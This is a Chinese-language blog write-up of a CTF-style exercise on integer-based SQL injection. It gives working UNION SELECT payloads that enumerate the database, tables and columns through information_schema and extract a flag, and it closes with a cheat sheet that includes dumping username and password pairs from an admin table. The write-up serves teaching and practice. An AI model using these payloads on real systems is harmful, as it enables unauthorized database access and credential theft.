SQL整数型注入

简介: 【web安全学习】SQL整数型注入

在这里插入图片描述
这是作者遇到的一个题目,当然这个题目也很直白,整数型注入。
我们一次填入1,2,3会发现只有1和2有回显,3并没有回显。说明可以查询到的数据有两个。在这里插入图片描述
在这里插入图片描述
接着我们测试一下数据有几列:

测试列数:
GET:id=1 order by 3#
POST:id=1' order by 3#
在这里插入图片描述
我们可以看到3并没有回显,2的时候正常显示,所以数据一共两列。

接下来就是尝试联合查询了,记得把前面的查询数据置空,写成id=0即可,显示正常,说明确确实实存在这两列数据 。在这里插入图片描述
接下来就是一些套路操作了:

  1. 暴库名
  2. 爆表名
  3. 爆列名
  4. 获取数据

就酱都是大同小异,输入的sql语句也有格式可寻:

1.暴库名:
id=0 union select 1,database()#
这里select user(),version()还可有求出数据库的用户和数据库的版本,当然我们这里是不需要的。
在这里插入图片描述
sqli即是我们所求的数据库名。

2.爆表名
我们就要根据sqli去求出这个表名
id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述
flag即是我们所要求的表名,接下来我们就是要通过flag求出列名。

3.爆列名
id=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'
在这里插入图片描述
这里一定一定要注意在输入sql语句是是英文字符状态,我在这里因为是中文状态卡了好一会。

4.获取数据
我们已经将数据的列名flag得到,那么接下来就是通过表名和列名来求到flag。
id=0 union select 1,flag from flag
在这里插入图片描述
id和=是连在一起的,否则也是无法得到结果的。

最后关于手工注入的补充一点知识:

mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。 

SCHEMATA 存储数据库名的,
关键字段:SCHEMA_NAME,表示数据库名称
TABLES 存储表名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
COLUMNS 存储字段名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名

爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段具体的值 select group_concat(username,0x3a,password) from adminuser

目录
相关文章
|
25天前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
48 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
|
26天前
|
SQL 运维 安全
WAF如何防御SQL注入?
【7月更文挑战第25天】WAF如何防御SQL注入?
83 9
|
26天前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【7月更文挑战第25天】在Python Web开发中确保应用安全至关重要。以下是针对SQL注入、XSS与CSRF攻击的防护策略及示例代码
43 6
|
26天前
|
SQL 安全 数据库
|
26天前
|
SQL 存储 安全
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
【7月更文挑战第25天】在Python Web应用开发中,安全至关重要,需防范如SQL注入、XSS与CSRF等攻击。**SQL注入**风险可通过避免直接拼接用户输入至SQL语句,改用参数化查询来缓解。**XSS**则需对用户输入的内容进行HTML转义处理,防止恶意脚本执行。对于**CSRF**,实现包括生成并验证CSRF令牌在内的防护机制是关键。综合运用这些防御策略能显著增强应用的安全性,但需持续学习以对抗不断变化的威胁。
43 5
|
24天前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
【7月更文挑战第27天】在 Web 开发中,Python 面临着如 SQL 注入、XSS 和 CSRF 等安全威胁。
47 0
|
25天前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
【7月更文挑战第26天】在 Web 开发中, SQL 注入与 XSS 攻击常令人担忧, 但掌握正确防御策略可化解风险. 对抗 SQL 注入的核心是避免直接拼接用户输入至 SQL 语句. 使用 Python 的参数化查询 (如 sqlite3 库) 和 ORM 框架 (如 Django, SQLAlchemy) 可有效防范. 防范 XSS 攻击需严格过滤及转义用户输入. 利用 Django 模板引擎自动转义功能, 或手动转义及设置内容安全策略 (CSP) 来增强防护. 掌握这些技巧, 让你在 Python Web 开发中更加安心. 安全是个持续学习的过程, 不断提升才能有效保护应用.
35 1
|
25天前
|
SQL 安全 前端开发
Web安全新纪元:Python如何筑起SQL注入、XSS、CSRF的铜墙铁壁?
【7月更文挑战第26天】在Web开发中,安全性至关重要。Python提供强大工具来抵御SQL注入、XSS和CSRF等威胁。使用ORM如Django和SQLAlchemy可防SQL注入; Django等框架自动转义输出防XSS; CSRF通过自动及手动验证令牌来阻止。开发者须持续学习最新安全实践以保护用户数据。迈向Web安全新纪元,Python助你一臂之力。
28 1